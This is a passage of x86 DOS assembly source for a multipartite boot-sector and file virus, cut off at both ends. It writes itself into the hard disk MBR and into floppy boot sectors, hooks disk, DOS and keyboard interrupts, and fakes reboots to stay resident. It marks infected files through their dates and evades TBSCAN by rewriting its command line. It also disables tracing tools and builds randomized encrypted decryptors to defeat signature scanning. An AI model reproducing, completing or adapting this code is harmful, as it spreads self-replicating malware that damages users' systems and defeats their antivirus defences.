  1022.         or      dh,dh
  1023.         jnz     multi
  1024.  
  1025.         call    int13h
  1026.         jc      rend
  1027.  
  1028.         pushf                           ;Save everything we mess with.
  1029.         push    ax
  1030.         push    bx
  1031.         push    cx
  1032.         push    dx
  1033.         push    si
  1034.         push    di
  1035.         push    ds
  1036.         push    es
  1037.  
  1038.         cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'
  1039.         je      stealth_bs
  1040.  
  1041.         mov     cx,3                    ;Orig HD MBR at sector 3.
  1042.  
  1043.         or      dl,dl                   ;Harddisk ?
  1044.         js      write_orig              ;80H or above ?
  1045.  
  1046.         ;Calculate shit like track/head for floppy******
  1047.         push    dx
  1048.  
  1049.         push    cs
  1050.         pop     ds
  1051.        
  1052.         mov     ax,es:[bx+18h]          ;Sectors per track.
  1053.         sub     es:[bx+13h],ax          ;Subtract a track.
  1054.         mov     ax,es:[bx+13h]          ;AX=total sectors.
  1055.         mov     cx,es:[bx+18h]          ;CX=sectors per track
  1056.         xor     dx,dx
  1057.         div     cx                      ;Total sectors/sectors per track
  1058.  
  1059.         xor     dx,dx
  1060.         mov     cx,word ptr es:[bx+1ah] ;CX=heads
  1061.         div     cx                      ;Total tracks/heads
  1062.  
  1063.         push    ax
  1064.         xchg    ah,al                   ;AX=Track
  1065.         mov     cl,6
  1066.         shl     al,cl                   ;Top 2 bits of track.
  1067.         or      al,1                    ;We'll use the first sector onward.
  1068.         mov     word ptr floppy_sect,ax
  1069.  
  1070.         pop     ax
  1071.         mov     cx,word ptr es:[bx+1ah] ;CX=heads
  1072.         xor     dx,dx
  1073.         div     cx                      ;Track/Total Heads
  1074.  
  1075.         mov     byte ptr floppy_head,dl ;Remainder=Head number
  1076.  
  1077.         mov     cx,14                   ;Floppy root directory.
  1078.         pop     dx
  1079.         mov     dh,1
  1080.  
  1081. write_orig:
  1082.         mov     ax,103h
  1083.         call    int13h
  1084.         jc      bs_pop_end
  1085.  
  1086.         push    es
  1087.         pop     ds
  1088.  
  1089.         mov     si,bx
  1090.         push    cs
  1091.         pop     es                      ;ES=CS
  1092.         mov     cx,510                  ;Move original sector to our buffer.
  1093.         cld
  1094.         mov     di,offset end_virus
  1095.         rep     movsb
  1096.        
  1097.         mov     ax,0aa55h               ;End of sector marker.
  1098.         stosw
  1099.  
  1100.         mov     si,offset bootsector    ;Move our virus BS into the buffer.
  1101.         push    cs
  1102.         pop     ds                      ;DS=ES=CS
  1103.         mov     di,offset end_virus
  1104.         mov     cx,offset bs_end - offset bootsector
  1105.         rep     movsb
  1106.  
  1107.         xor     ax,ax                   ;Reset disk controller
  1108.         call    int13h
  1109.        
  1110.         mov     ax,103h
  1111.         xor     dh,dh
  1112.         inc     cx                      ;CX=0 from 'rep movsb'  So CX=1
  1113.         mov     bx,offset end_virus
  1114.         call    int13h
  1115.  
  1116.         mov     cx,4
  1117.         or      dl,dl
  1118.         js      hd_virus_write
  1119.  
  1120.         mov     cx,word ptr floppy_sect
  1121.         mov     dh,byte ptr floppy_head
  1122.  
  1123. hd_virus_write:
  1124.         xor     bx,bx
  1125.         mov     ax,703h
  1126.         call    int13h
  1127.  
  1128. bs_pop_end:
  1129.         pop     es
  1130.         pop     ds
  1131.         pop     di
  1132.         pop     si
  1133.         pop     dx
  1134.         pop     cx
  1135.         pop     bx
  1136.         pop     ax
  1137.         popf
  1138.         jmp     rend
  1139.  
  1140. bs_exit:
  1141.         cmp     ax,0beefh
  1142.         jne     no_test
  1143.         iret
  1144. no_test:
  1145.         xchg    ah,al
  1146.         db      0eah
  1147.         i13     dd      0
  1148. ;....................................
  1149. Multipartite:
  1150.         cmp     byte ptr cs:flag21,1            ;Have we already set int21 ?
  1151.         jne     check21
  1152.         jmp     short bs_exit
  1153. check21:
  1154.         push    ax
  1155.         push    cx
  1156.         push    si
  1157.         push    di
  1158.         push    es
  1159.         push    ds
  1160.  
  1161.         cmp     byte ptr cs:qemm,1              ;Have we detected QEMM ?
  1162.         je      qemm_multip
  1163.  
  1164.         ;This code looks for DOSDATA and if found waits for the 10th EXE
  1165.         ;header instead of the first.
  1166.  
  1167.         mov     di,bx
  1168.         mov     al,'D'
  1169.         cld
  1170.         mov     cx,512
  1171. scan_dosdata:
  1172.         repne   scasb
  1173.         je      found_d
  1174.         jmp     short chk_exe_header
  1175. found_d:
  1176.         push    cs
  1177.         pop     ds
  1178.         mov     si,offset dosdata
  1179.         push    di                      ;Save buffer pointer
  1180.         push    cx                      ;Save buffer counter
  1181.         mov     cx,6
  1182.         repe    cmpsb
  1183.         pop     cx
  1184.         pop     di
  1185.         jne     scan_dosdata
  1186.  
  1187.         mov     byte ptr qemm,1
  1188.         mov     byte ptr mz_counter,10
  1189.  
  1190. qemm_multip:
  1191.  
  1192.         ;Multipartite condition #1 - Grab Int21 on any write
  1193.  
  1194.         cld
  1195.         cmp     al,3
  1196.         je      set_dos_vector
  1197.        
  1198.         ;Multipartite condition #2 - Grab Int21 on a residency test
  1199.  
  1200.         or      bx,bx           ;SYS res tests shouldn't be used.
  1201.         jz      chk_autoexec
  1202.         cmp     ax,0beefh
  1203.         je      set_dos_vector
  1204.  
  1205.         ;Multipartite condition #3 - Grab Int21 on reading AUTOEXEC.BAT
  1206. chk_autoexec:
  1207.         mov     si,bx
  1208.         push    es
  1209.         pop     ds
  1210.  
  1211.         lodsb
  1212.         cmp     al,'@'
  1213.         jne     chk_exe_header
  1214.         lodsw
  1215.         and     ax,0dfdfh
  1216.         cmp     ax,'CE'
  1217.         jne     chk_exe_header
  1218.         jmp     short set_dos_vector
  1219.        
  1220.         ;Multipartite condition #4 - Grab Int21 on read of third EXE
  1221.  
  1222. chk_exe_header:
  1223.         push    es
  1224.         pop     ds
  1225.         mov     si,bx
  1226.         lodsw
  1227.         cmp     ax,'MZ'
  1228.         je      found_mz
  1229.         cmp     ax,'ZM'
  1230.         jne     not_right
  1231. found_mz:
  1232.         dec     byte ptr cs:mz_counter
  1233.         jz      set_dos_vector
  1234.         jmp     short not_right
  1235.        
  1236. set_dos_vector:
  1237.         push    cs
  1238.         pop     es
  1239.         xor     ax,ax
  1240.         mov     ds,ax
  1241.         mov     si,21h*4
  1242.         mov     di,offset i21
  1243.         movsw
  1244.         movsw
  1245.         mov     word ptr [si-4],offset int21handler
  1246.         mov     word ptr [si-2],es
  1247.         mov     byte ptr cs:flag21,1
  1248. not_right:
  1249.         pop     ds
  1250.         pop     es
  1251.         pop     di
  1252.         pop     si
  1253.         pop     cx
  1254.         pop     ax
  1255.         cmp     ax,0beefh
  1256.         jne     not_res_test
  1257.         iret                            ;Pass back the residency marker.
  1258. not_res_test:
  1259.         jmp     bs_exit
  1260. ;....................................
  1261. Int13h  Proc    Near
  1262. ; AH & AL are swapped on entry to this call.
  1263.  
  1264.         pushf                   ;Setup our interrupt
  1265.         push    cs              ;Our segment
  1266.         call    bs_exit         ;This will also fix our AX
  1267.         xchg    ah,al           ;Fix our AX :)
  1268.         ret
  1269.  
  1270. Int13h  EndP
  1271. ;....................................
  1272. Int9Handler:
  1273. ;Checks for CTRL-ALT-DEL and does a fake reboot if so.
  1274.  
  1275.         push    ax
  1276.         push    ds
  1277.         push    cx
  1278.        
  1279.         in      al,60h                  ;Read the key from the keyboard port
  1280.         cmp     al,53h                  ;Is the key DEL ?
  1281.         jne     normal_i9
  1282.  
  1283.         xor     ax,ax
  1284.         mov     ds,ax
  1285.         mov     al,[417h]               ;Keyboard flag byte 0
  1286.         and     al,0ch                  ;Only leave CTRL and ALT
  1287.         cmp     al,0ch                  ;Are they both depressed ?
  1288.         jne     normal_i9
  1289.  
  1290.         ;Now test for an XT
  1291.         mov     al,2
  1292.         mov     cl,33
  1293.         shr     al,cl           ;286+ ignore any bits above bit 5
  1294.         test    al,1            ;286+ will only SHR AL,1 while XT will
  1295.                                 ;clear AL.
  1296.         jz      reboot          ;We have an 8088 (XT) so reboot.
  1297.         smsw    ax              ;Machine Status Word into AX
  1298.         test    al,1            ;If bit 1 is on then it is protected mode
  1299.         jnz     normal_i9       ;Protected mode... no fake reboot.
  1300. reboot:
  1301.         in      al,61h                  ;Keyboard controller.
  1302.         push    ax
  1303.         or      al,80h                  ;Signal we got it.
  1304.         out     61h,al
  1305.         pop     ax
  1306.         out     61h,al
  1307.        
  1308.         mov     al,20h                  ;Signal EOI
  1309.         out     20h,al
  1310.  
  1311.         xor     ax,ax
  1312.         mov     al,byte ptr cs:mode     ;Reset original video mode.
  1313.         int     10h
  1314.  
  1315.         push    ds
  1316.         pop     es                      ;ES=0
  1317.         push    cs
  1318.         pop     ds                      ;DS=CS
  1319.         mov     cx,1024
  1320.         mov     si,offset IVT
  1321.         xor     di,di
  1322.         cld
  1323.        
  1324.         cli
  1325.         rep     movsb                   ;Copy the IVT back.
  1326.         sti
  1327.         push    cs
  1328.         pop     ds
  1329.  
  1330.         mov     byte ptr flag21,0               ;Reset the int21 flag
  1331.         mov     byte ptr mz_counter,1           ;Reset exe counter
  1332.         mov     byte ptr qemm,0                 ;Reset qemm flag
  1333.  
  1334.         xor     dx,dx
  1335.         int     19h
  1336.  
  1337. normal_i9:
  1338.         pop     cx
  1339.         pop     ds
  1340.         pop     ax
  1341.  
  1342.         db      0eah
  1343.         i9      dd      0
  1344. ;....................................
  1345. Int15h  Proc    Near
  1346.         db      0eah
  1347.         i15     dd      0
  1348. Int15h  EndP
  1349. ;....................................
  1350. Int24h  Proc    Near                    ;No write protect errors.
  1351.         mov     al,3
  1352.         iret
  1353.         i24     dd      0
  1354. Int24h  EndP
  1355. ;....................................
  1356. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  1357. ;               Subroutines and Shit
  1358. ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  1359. ;....................................
  1360. Get_Date:
  1361. ;Saves the date/time of the file to TIME and DATE
  1362. ;BX=File handle
  1363.         push    ax
  1364.         push    cx
  1365.         push    dx
  1366.         mov     ax,57h
  1367.         call    int21h
  1368.         mov     word ptr cs:time,cx
  1369.         mov     word ptr cs:date,dx
  1370.         pop     dx
  1371.         pop     cx
  1372.         pop     ax
  1373.         ret
  1374. ;....................................
  1375. Set_Marker:
  1376. ;Sets the 100 years marker on the infected file.
  1377. ;BX=File handle
  1378.  
  1379.         db      0bah            ;MOV DX,xxxx
  1380.         date    dw      0
  1381.         db      0b9h
  1382.         time    dw      0       ;MOV CX,xxxx
  1383.  
  1384.         add     dh,200          ;100 SHL 1 = 200
  1385.         mov     ax,157h
  1386.         call    int21h
  1387.         ret
  1388. ;....................................
  1389. Check_Years:
  1390. ;Assumes ES:DI = SFT
  1391. ;On exit the flags will be set so that a JB means that the file isn't
  1392. ;infected. JA means it is.
  1393.         cmp     byte ptr es:[di+010h],200
  1394.         ret
  1395. ;....................................
  1396. Get_SFT:
  1397. ;Entry: BX=Filehandle
  1398. ;Exit: ES:DI=SFT
  1399.         push    bx
  1400.         push    ax
  1401.         mov     ax,1220h
  1402.         int     2fh
  1403.         jc      bad_sft
  1404.         xor     bx,bx
  1405.         mov     bl,byte ptr es:[di]
  1406.         mov     ax,1216h
  1407.         int     2fh
  1408. bad_sft:
  1409.         pop     ax
  1410.         pop     bx
  1411.         ret
  1412. ;....................................
  1413. LSeek_End:
  1414.         mov     ax,0242h                ;Call this to lseek to the end
  1415.         jmp     short lseek
  1416. LSeek_Start:                            ;Call this to lseek to the start
  1417.         mov     ax,42h
  1418. LSeek:
  1419.         cwd
  1420.         xor     cx,cx
  1421.         call    int21h
  1422.         ret
  1423. ;....................................
  1424. Check_Names:
  1425. ;On Entry DS:DX=filename to execute
  1426.  
  1427. ;Exit: put ' co nm' into the command line if program is TBScan.  The 'co'
  1428. ;will cause TBScan to use DOS instead of it's low level disk routines
  1429. ;and subsequently it will not find any change in files.  The 'nm' means
  1430. ;there will be no memory test.  This is just for in the future when Thunder
  1431. ;Byte get the virus signature they won't be able to detect residency of the
  1432. ;virus.
  1433.  
  1434. ;Turn stealth off if one of the program being executed is a bad one.
  1435.  
  1436.         push    ax
  1437.         push    bx
  1438.         push    cx
  1439.         push    dx
  1440.         push    si
  1441.         push    di
  1442.         push    ds
  1443.         push    es
  1444.         ;Test for tbscan
  1445.         mov     si,dx
  1446. find_ext:
  1447.         lodsb
  1448.         cmp     al,'.'                  ;The dot in the filename.
  1449.         jne     find_ext
  1450.         std
  1451.  
  1452.         lodsw                   ;SI-2
  1453.         ;SI=Last letter in name.
  1454.  
  1455.         xor     cx,cx
  1456.         mov     di,offset bad_names-1
  1457.         push    cs
  1458.         pop     es
  1459. name_loop:
  1460.         mov     cl,byte ptr cs:[di]     ;CS:DI=Size of string
  1461.         dec     di                      ;Index to end of name.
  1462.         push    si                      ;Save SI
  1463.         repe    cmpsb                   ;Compare the names.
  1464.         pop     si                      ;Restore SI
  1465.         je      found_name              ;We got one!
  1466.         sub     di,cx                   ;Next name
  1467.         cmp     di,offset bad_finish
  1468.         jbe     tail_fail
  1469.         jmp     short name_loop
  1470.        
  1471. found_name:
  1472.         cmp     di,offset bad_finish    ;TBSCAN gets different treatment.
  1473.         jbe     tbscan_found
  1474.  
  1475.         cmp     di,offset bad_win
  1476.         jbe     win_found
  1477.  
  1478.         mov     byte ptr cs:stealth,0   ;Turn stealth off.
  1479.         jmp     short tail_fail
  1480.  
  1481. TBSCAN_Found:
  1482.         ;Change command line
  1483.         cld
  1484.         pop     es                      ;ES was last thing pushed.
  1485.         push    es                      ;ES=Param Block segment.
  1486.         mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
  1487.         mov     si,di
  1488.         mov     ax,word ptr es:[bx+4]
  1489.         mov     es,ax
  1490.         mov     ds,ax                   ;DS:SI=ES:DI=Command tail
  1491.  
  1492.         inc     di                      ;Past tail count.
  1493.  
  1494.         cmp     byte ptr [si],0         ;No parameters!
  1495.         je      write_tail
  1496.  
  1497.         mov     cx,127                  ;Length of tail.
  1498.         mov     al,0dh
  1499.         repne   scasb
  1500.         jne     tail_fail
  1501.  
  1502.         dec     di                      ;DI = 0D end of command line.
  1503.  
  1504. write_tail:
  1505.         add     byte ptr [si],6
  1506.         push    cs
  1507.         pop     ds
  1508.         mov     si,offset tail_fix
  1509.         mov     cx,7
  1510.         rep     movsb
  1511.         jmp     tail_fail
  1512.  
  1513. win_found:
  1514.         cld
  1515.         pop     es                      ;ES was last thing pushed.
  1516.         push    es                      ;ES=Param Block segment.
  1517.         mov     di,word ptr es:[bx+2]   ;Grab command tail from param block
  1518.         mov     si,di
  1519.         mov     ax,word ptr es:[bx+4]
  1520.         mov     es,ax
  1521.         mov     ds,ax                   ;DS:SI=ES:DI=Command tail
  1522.  
  1523.         inc     di                      ;Past tail count.
  1524.  
  1525.         cmp     byte ptr [si],0         ;No parameters!
  1526.         je      write_win_tail
  1527.  
  1528.         mov     cx,127                  ;Length of tail.
  1529.         mov     al,0dh
  1530.         repne   scasb
  1531.         jne     tail_fail
  1532.  
  1533.         dec     di                      ;DI = 0D end of command line.
  1534.  
  1535. write_win_tail:
  1536.         add     byte ptr [si],5
  1537.         push    cs
  1538.         pop     ds
  1539.         mov     si,offset win_fix
  1540.         mov     cx,6
  1541.         rep     movsb
  1542.  
  1543. tail_fail:
  1544.         cld                             ;Gotta keep the forward scan.
  1545.         pop     es
  1546.         pop     ds
  1547.         pop     di
  1548.         pop     si
  1549.         pop     dx
  1550.         pop     cx
  1551.         pop     bx
  1552.         pop     ax
  1553.         ret
  1554.  
  1555.         ;We are scanning backwards because it is smaller than searching
  1556.         ;for the \ in the filename.
  1557.         Bad_finish      db      'TBSCAN',6
  1558.         Bad_win         db      'WIN',3
  1559.                         db      'CHKDSK',6
  1560.                         db      'PKZIP',5
  1561.                         db      'ARJ',3
  1562.                         db      'NDD',3
  1563.                         db      'SCANDISK',8
  1564.                         db      'LHA',3
  1565.         Bad_names:                              ;Scan from here...
  1566.  
  1567.         tail_fix        db      ' co nm',0dh    ;<- insert this
  1568.         win_fix         db      ' /d:f',0dh     ;make windows use 16bit disk
  1569.                                                 ;access
  1570. ;....................................
  1571. Check_Handle:
  1572. ;BX=File handle
  1573. ;Carry if bad handle.
  1574.         push    ax
  1575.         push    dx
  1576.         mov     ax,44h
  1577.         call    int21h                  ;Get device info.
  1578.         jc      bad_handle              
  1579.         shl     dl,1                    ;If bit 7=1 then not a file.
  1580.                                         ; SHLing it will set the carry
  1581.                                         ; flag based on bit 7
  1582.         jmp     short handle_exit
  1583. bad_handle:
  1584.         stc
  1585. handle_exit:
  1586.         pop     dx
  1587.         pop     ax
  1588.         ret
  1589. ;....................................
  1590. Anti_Tunnel:
  1591.         push    ax                      ;Disable any tunnelers.
  1592.         push    bx
  1593.         push    si
  1594.         push    ds
  1595.  
  1596.         xor     ax,ax
  1597.         mov     ds,ax                   ;Vector table
  1598.         lds     si,[1*4]                ;DS:SI=Int 1 Address
  1599.         mov     bl,byte ptr [si]        ;Save first byte of it.
  1600.         mov     byte ptr [si],0cfh      ;Move an IRET at the entry point.
  1601.  
  1602.         pushf                           ;Flags on stack.
  1603.         pop     ax                      ;Flags into AX
  1604.         and     ah,0feh                 ;Remove trap flag.
  1605.         push    ax                      ;Flags back on stack
  1606.         popf                            ;Set flags without any trap on.
  1607.  
  1608.         mov     byte ptr [si],bl        ;Restore entry point.
  1609.  
  1610.         pop     ds
  1611.         pop     si
  1612.         pop     bx
  1613.         pop     ax
  1614.         ret
  1615. ;....................................
  1616. Check_MBR:
  1617. ;Assumes SI=Delta
  1618. ;On exit: JE infected  JNE not infected
  1619.         push    ax
  1620.         push    bx
  1621.         push    cx
  1622.         push    dx
  1623.         push    es
  1624.  
  1625.         push    cs
  1626.         pop     es
  1627.  
  1628.         mov     ax,201h
  1629.         lea     bx,[si+offset end_virus]
  1630.         mov     cx,1
  1631.         mov     dx,80h
  1632.         int     13h
  1633.  
  1634.         cmp     word ptr es:[bx+offset marker - offset bootsector],'uE'
  1635.  
  1636.         pop     es
  1637.         pop     dx
  1638.         pop     cx
  1639.         pop     bx
  1640.         pop     ax
  1641.         ret
  1642. ;....................................
  1643. SetROM15_13:
  1644. ;Sets int15/13 to the ROM vector (if it can find it)
  1645. ;SI=Delta
  1646.         push    ax
  1647.         push    si
  1648.         push    di
  1649.         push    ds
  1650.         push    es
  1651.  
  1652.         cld
  1653.         mov     di,si                   ;DI=Delta
  1654.         mov     ax,0f000h               ;ROM BIOS segment
  1655.         mov     ds,ax
  1656.         mov     si,[0ff0dh]             ;ROM interrupt table
  1657.         lodsb
  1658.         cmp     al,0e9h
  1659.         je      found_rom15
  1660.         mov     si,0f859h               ;The IBM standard int15 address
  1661.         lodsb
  1662.         cmp     al,0e9h                 ;Is there a JMP there ?
  1663.         jne     find_rom13
  1664. found_rom15:
  1665.         dec     si
  1666.         push    ds
  1667.        
  1668.         push    cs
  1669.         pop     ds                      ;DS=CS
  1670.  
  1671.         xor     ax,ax
  1672.         mov     es,ax                   ;ES=0
  1673.         push    es:[15h*4]
  1674.         pop     [di+offset i15]         ;Save the offset
  1675.         mov     es:[15h*4],si           ;Set the offset
  1676.  
  1677.         push    es:[15h*4+2]
  1678.         pop     [di+offset i15+2]       ;Save the segment
  1679.         mov     es:[15h*4+2],0f000h     ;Set the segment
  1680.        
  1681.         pop     ds
  1682. find_rom13:
  1683.         xor     si,si
  1684.         inc     si
  1685. search13:
  1686.         cmp     si,0fff0h               ;Most AMIBIOSes just have this
  1687.         jae     not_present13           ;signature at their int13 entry
  1688.         dec     si                      ;point.  In fact every one I looked
  1689.         lodsw                           ;at had it.
  1690.         cmp     ax,0fa80h
  1691.         jne     search13
  1692.         lodsw
  1693.         cmp     ax,0fb80h
  1694.         jne     search13
  1695.         lodsb
  1696.         cmp     al,0fch
  1697.         jne     search13
  1698.         sub     si,5
  1699.  
  1700.         xor     ax,ax
  1701.         mov     ds,ax
  1702.         push    cs
  1703.         pop     es
  1704.         mov     ax,si           ;AX=Offset of int13handler
  1705.         mov     si,13h*4
  1706.         lea     di,[di+offset i13]
  1707.         movsw
  1708.         movsw
  1709.         mov     word ptr [si-4],ax
  1710.         mov     word ptr [si-2],0f000h
  1711.  
  1712. not_present13:
  1713.         pop     es
  1714.         pop     ds
  1715.         pop     di
  1716.         pop     si
  1717.         pop     ax
  1718.  
  1719.         ret
  1720. ;....................................
  1721. Infect_MBR:
  1722. ;Infects the hard disk MBR
  1723.  
  1724. ;SI=Delta Offset
  1725.  
  1726.         push    ax
  1727.         push    bx
  1728.         push    cx
  1729.         push    dx
  1730.         push    ds
  1731.         push    es
  1732.  
  1733.         xor     ax,ax
  1734.         mov     dx,80h
  1735.         int     13h
  1736.  
  1737.         lea     bx,[si+offset end_virus]
  1738.         push    cs
  1739.         pop     es
  1740.         mov     ax,201h
  1741.         mov     cx,1
  1742.         int     13h
  1743.  
  1744.         mov     ax,301h
  1745.         mov     cl,3
  1746.         int     13h
  1747.  
  1748.         push    cs
  1749.         pop     ds              ;CS=DS=ES
  1750.  
  1751.         push    si
  1752.         lea     di,[si+offset end_virus]
  1753.         add     si,offset bootsector
  1754.         mov     cx,offset bs_end - offset bootsector
  1755.         cld
  1756.         rep     movsb
  1757.         pop     si
  1758.        
  1759.         lea     di,[si+offset end_virus + 510]
  1760.         mov     ax,0aa55h
  1761.         stosw                   ;Put the bootsector marker in.
  1762.  
  1763.         lea     bx,[si+offset end_virus]
  1764.         mov     cx,1
  1765.         mov     ax,301h
  1766.         int     13h
  1767.  
  1768.         mov     cx,4
  1769.         mov     ax,307h
  1770.         mov     bx,si
  1771.         int     13h
  1772.  
  1773.         pop     es
  1774.         pop     ds
  1775.         pop     dx
  1776.         pop     cx
  1777.         pop     bx
  1778.         pop     ax
  1779.  
  1780.         ret
  1781. ;....................................
  1782. Reset15_13:
  1783. ;Resets int13/15 to original vectors.
  1784. ;SI=Delta offset
  1785.  
  1786.         push    ax
  1787.         push    si
  1788.         push    di
  1789.         push    ds
  1790.         push    es
  1791.  
  1792.         push    si
  1793.        
  1794.         push    cs
  1795.         pop     ds              ;DS=CS
  1796.        
  1797.         xor     ax,ax
  1798.         mov     es,ax           ;ES=0
  1799.  
  1800.         add     si,offset i15
  1801.         mov     di,15h*4
  1802.         cld
  1803.         movsw
  1804.         movsw                   ;Restore int15
  1805.  
  1806.         pop     si              ;Restore SI=Delta
  1807.  
  1808.         add     si,offset i13
  1809.         mov     di,13h*4
  1810.         movsw
  1811.         movsw                   ;Restore int13
  1812.        
  1813.         pop     es
  1814.         pop     ds
  1815.         pop     di
  1816.         pop     si
  1817.         pop     ax
  1818.  
  1819.         ret
  1820. ;....................................
  1821. Set_Int24:
  1822. ;Sets int24 to our handler
  1823.         push    ax
  1824.         push    si
  1825.         push    di
  1826.         push    ds
  1827.         push    es
  1828.  
  1829.         xor     ax,ax
  1830.         mov     ds,ax
  1831.         push    cs
  1832.         pop     es
  1833.         mov     si,24h*4
  1834.         mov     di,offset i24
  1835.         cld
  1836.         movsw
  1837.         movsw
  1838.         mov     word ptr [si-4],offset int24h
  1839.         mov     word ptr [si-2],cs
  1840.        
  1841.         pop     es
  1842.         pop     ds
  1843.         pop     di
  1844.         pop     si
  1845.         pop     ax
  1846.         ret
  1847. ;....................................
  1848. Reset_Int24:
  1849. ;Restores int24
  1850.         push    ax
  1851.         push    si
  1852.         push    di
  1853.         push    ds
  1854.         push    es
  1855.  
  1856.         xor     ax,ax
  1857.         mov     es,ax
  1858.         push    cs
  1859.         pop     ds
  1860.         mov     si,offset i24
  1861.         mov     di,24h*4
  1862.         cld
  1863.         movsw
  1864.         movsw
  1865.         pop     es
  1866.         pop     ds
  1867.         pop     di
  1868.         pop     si
  1869.         pop     ax
  1870.         ret
  1871. ;....................................
  1872. Setup_Poly:
  1873. ;Copies the virus code into the buffer after the virus, generates the
  1874. ;polymorphic decryptor/encryptor and encrypts it.
  1875.  
  1876.         push    ax
  1877.         push    bx
  1878.         push    cx
  1879.         push    dx
  1880.         push    si
  1881.         push    di
  1882.         push    ds
  1883.         push    es
  1884.         push    bp
  1885.  
  1886.         push    cs
  1887.         push    cs
  1888.         pop     ds
  1889.         pop     es
  1890.         mov     bp,word ptr delta
  1891.         mov     cx,offset enc_end - offset enc_start
  1892.         xor     di,di
  1893.         call    poly
  1894.  
  1895.         xor     si,si
  1896.         mov     di,offset end_virus
  1897.         mov     cx,di
  1898.         rep     movsb
  1899.  
  1900.         mov     al,byte ptr cipher_val
  1901.         mov     si,offset end_virus + offset enc_start
  1902.         mov     cx,offset enc_end - offset enc_start - 1
  1903.         call    enc_loop
  1904.  
  1905.         pop     bp
  1906.         pop     es
  1907.         pop     ds
  1908.         pop     di
  1909.         pop     si
  1910.         pop     dx
  1911.         pop     cx
  1912.         pop     bx
  1913.         pop     ax
  1914.         ret
  1915. ;....................................
  1916. Poly    Proc    Near
  1917. ;;ES:DI=buffer
  1918. ;;CX=size of enc buffer
  1919. ;;BP=delta offset
  1920.  
  1921. ;AL=cipher
  1922. ;SI=pointer
  1923. ;CX=counter
  1924.  
  1925. ;  The basic algorithm for the polymorphism
  1926.  
  1927. ;        mov     al,0
  1928. ;        mov     si,offset encstart
  1929. ;        push    si
  1930. ;        mov     cx,200
  1931. ;encloop:
  1932. ;        xor     byte ptr cs:[si]
  1933. ;        ror     al,1
  1934. ;        ror     al,1
  1935. ;        inc     si
  1936. ;        dec     cx
  1937. ;        or      cx,cx
  1938. ;        jns     encloop
  1939. ;encstart:
  1940. ;        ret
  1941.  
  1942.         push    ax
  1943.         push    bx
  1944.         push    cx
  1945.         push    dx
  1946.         push    si
  1947.         push    di
  1948.         push    ds
  1949.         push    es
  1950.         cld
  1951.  
  1952.         push    cs
  1953.         pop     ds
  1954.  
  1955.         in      al,40h
  1956.         mov     byte ptr cipher_val,al
  1957.         xor     dx,dx
  1958. retry_var:
  1959.         cmp     dl,7
  1960.         je      past_first
  1961.         in      al,40h
  1962.         and     al,3
  1963.         cmp     al,4
  1964.         je      retry_var
  1965.         dec     al
  1966.         js      set_cx
  1967.         jz      set_si
  1968. set_al:
  1969.         test    dl,1
  1970.         jnz     retry_var
  1971.         or      dl,1
  1972.         mov     al,0b0h                 ;MOV AL,xx
  1973.         stosb
  1974.         mov     al,byte ptr cipher_val
  1975.         stosb
  1976.         jmp     short retry_var
  1977. set_cx:
  1978.         test    dl,2
  1979.         jnz     retry_var
  1980.         or      dl,2
  1981.         mov     al,0b9h                 ;MOV CX,xxxx
  1982.         stosb
  1983.         mov     ax,cx
  1984.         dec     ax                      ;less one because of the JNS
  1985.         stosw
  1986.         jmp     short retry_var
  1987. set_si:
  1988.         test    dl,4
  1989.         jnz     retry_var
  1990.         or      dl,4
  1991.         mov     al,0beh                 ;MOV SI,xxxx
  1992.         stosb
  1993.         mov     ax,bp        
  1994.         add     ax,offset enc_start
  1995.         stosw
  1996.         mov     al,56h                  ;PUSH SI        
  1997.         stosb
  1998.         jmp     retry_var
  1999.  
  2000. past_first:
  2001.         ;Just do a crap instruction so that our JNS xxxx won't be the same.
  2002.         ;It just reads instructions out of DATABASE1
  2003.  
  2004.         xor     dx,dx
  2005.  
  2006. retry_second:
  2007.         mov     word ptr jmp_calc,di
  2008.         mov     si,offset database1
  2009.         in      al,40h
  2010.         and     ax,6                    ;3*2
  2011.         add     si,ax
  2012.         movsw
  2013. redo_table:
  2014.         cmp     dl,31
  2015.         je      past_second
  2016.         mov     si,offset random_table
  2017.         in      al,40h
  2018.         and     ax,14
  2019.         cmp     ax,8
  2020.         ja      redo_table
  2021.         add     si,ax
  2022.         lodsw
  2023.         call    ax
  2024.         jmp     short redo_table
  2025.  
  2026. set_xor:
  2027.         test    dl,1
  2028.         jnz     garbage1
  2029.         or      dl,1
  2030.         mov     al,02eh                 ;CS:
  2031.         stosb
  2032.         mov     ax,430h                 ;BYTE PTR [SI],AL
  2033.         stosw
  2034.         ret
  2035.  
  2036. garbage1:                               ;Random AL garbler
  2037.         test    dl,2
  2038.         jnz     garbage2
  2039.         or      dl,2
  2040.         jmp     short do_garbage
  2041.  
  2042. garbage2:
  2043.         test    dl,4
  2044.         jnz     inc_si
  2045.         or      dl,4
  2046. do_garbage:
  2047.         mov     si,offset database2     ;Garbage database
  2048.         in      al,40h
  2049.         and     ax,7
  2050.         shl     ax,1
  2051.         add     si,ax
  2052.         movsw
  2053.         ret
  2054.  
  2055. inc_si:
  2056.         test    dl,8
  2057.         jnz     dec_cx
  2058.         or      dl,8
  2059.         mov     al,46h                  ;INC SI
  2060.         stosb
  2061.         ret
  2062.  
  2063. dec_cx:
  2064.         test    dl,16
  2065.         jnz     set_xor
  2066.         or      dl,16
  2067.         mov     al,49h                  ;DEC CX
  2068.         stosb
  2069.         ret
  2070.  
  2071. past_second:
  2072.         xor     dx,dx
  2073. redo_second:
  2074.         cmp     dl,3
  2075.         je      do_ret
  2076.         in      al,40h
  2077.         and     al,1
  2078.         cmp     al,0
  2079.         je      one_byte1
  2080. or_cx_cx:
  2081.         test    dl,1
  2082.         jnz     one_byte1
  2083.         or      dl,1
  2084.         mov     si,offset database4
  2085.         in      al,40h
  2086.         and     ax,1
  2087.         add     si,ax                   ;Index to a compare instruction
  2088.         movsb
  2089.         mov     al,0c9h                 ;CX,CX
  2090.         stosb
  2091.         ;jge, jns etc
  2092.         mov     si,offset database5
  2093.         in      al,40h
  2094.         and     ax,1
  2095.         add     si,ax
  2096.         movsb                           ;Put a JGE/JNS in.
  2097.         mov     ax,di
  2098.         inc     ax                      ;Calculate the jump.
  2099.         sub     ax,word ptr jmp_calc
  2100.         mov     ah,al
  2101.         in      al,40h
  2102.         and     al,2
  2103.         sub     ah,al
